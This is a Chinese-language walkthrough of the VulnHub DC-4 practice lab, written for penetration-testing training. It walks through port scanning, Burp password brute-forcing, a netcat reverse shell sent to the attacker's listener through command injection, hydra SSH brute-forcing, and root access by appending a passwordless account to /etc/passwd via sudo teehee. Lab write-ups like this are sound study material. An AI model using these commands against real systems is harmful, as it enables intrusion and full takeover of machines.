VulnHub通關日記-DC_4-Walkthrough

靶機介紹

DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues

靶機地址：https://www.vulnhub.com/entry/dc-4,313/

這邊靶機和前一個是一樣的，只需要獲取一個Flag就行了，在 /root 目錄下!

學習到的知識

Burpsuite列舉弱口令
命令執行反彈shell
hydra爆破ssh
teehee許可權提升

資訊蒐集

拿到 IP 先對它進行埠掃描：

nmap -A -T4 192.168.1.100

這邊掃描出來靶機開放了 22（ssh）、80（http）埠，先從 80 埠來入侵：

http://192.168.1.100/

Burpsuite列舉弱口令

開啟後發現是一個登陸的頁面，我嘗試了常規的弱口令 admin、admin123 無果，隨後我又嘗試了一遍 SQL 注入，並沒有注入點！這個時候就需要掏出我的字典來了來配合 Burp 爆破：

POST /login.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.100/
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Connection: close
Cookie: PHPSESSID=lddqa4ven9a9qqf8ua9tlurj35
Upgrade-Insecure-Requests: 1

username=admin&password=§123456§

爆破成功後得到密碼 happy，隨後拿著賬號和密碼登陸到了後臺，在後臺發現可以執行檢視檔案的操作：

命令執行反彈shell

這個時候想到了命令執行，whoami 看了看許可權是一個網站普通許可權：

我們先用 nc 反彈一個 shell 回來把，kali 監聽 4444 埠，在 radio 變數輸入 nc 反彈的地址成功反彈一枚shell：

nc -e /bin/sh 192.168.1.128 4444

我們先讓它得到一個 bash 把：

python -c 'import pty;pty.spawn("/bin/bash")'

hydra爆破ssh

之後我是在 /home/jim 目錄裡發現了一個歷史密碼的備份檔案：

既然得到了密碼，那麼就用九頭蛇來爆破把：

hydra -l jim -P pass ssh://192.168.1.100 -t 10

爆破成功後得到 jim 的密碼為 jibril04，隨後我登陸到了 jim 使用者：

ssh jim@192.168.1.100

登陸之後我習慣性的 sudo -l 發現需要密碼：

緊接著我在 jim 的目錄下發現了一個檔案，檔案裡好像是一封郵件資訊：

From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

好像沒得啥子用處！最後我在郵箱目錄找到了另一封郵件：

讀完這封郵件我得到了 charles 告訴 jim 的一個重要資訊，也就是 charles 的密碼！

charles：^xHhA&hvim0y

獲取到密碼後我切換到了 charles 使用者：

su charles
^xHhA&hvim0y

teehee許可權提升

切換使用者之後我又是習慣性的 sudo -l 發現 charles 使用者可以以 root 身份去執行 teehee命令：

我緊接著寫入了一個 saul 賬號到 passwd 裡：

echo "saul::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
#註釋：
#[使用者名稱]：[密碼]：[UID]：[GID]：[身份描述]：[主目錄]：[登入shell]

最後也是在 /root 目錄下拿到了 Flag ～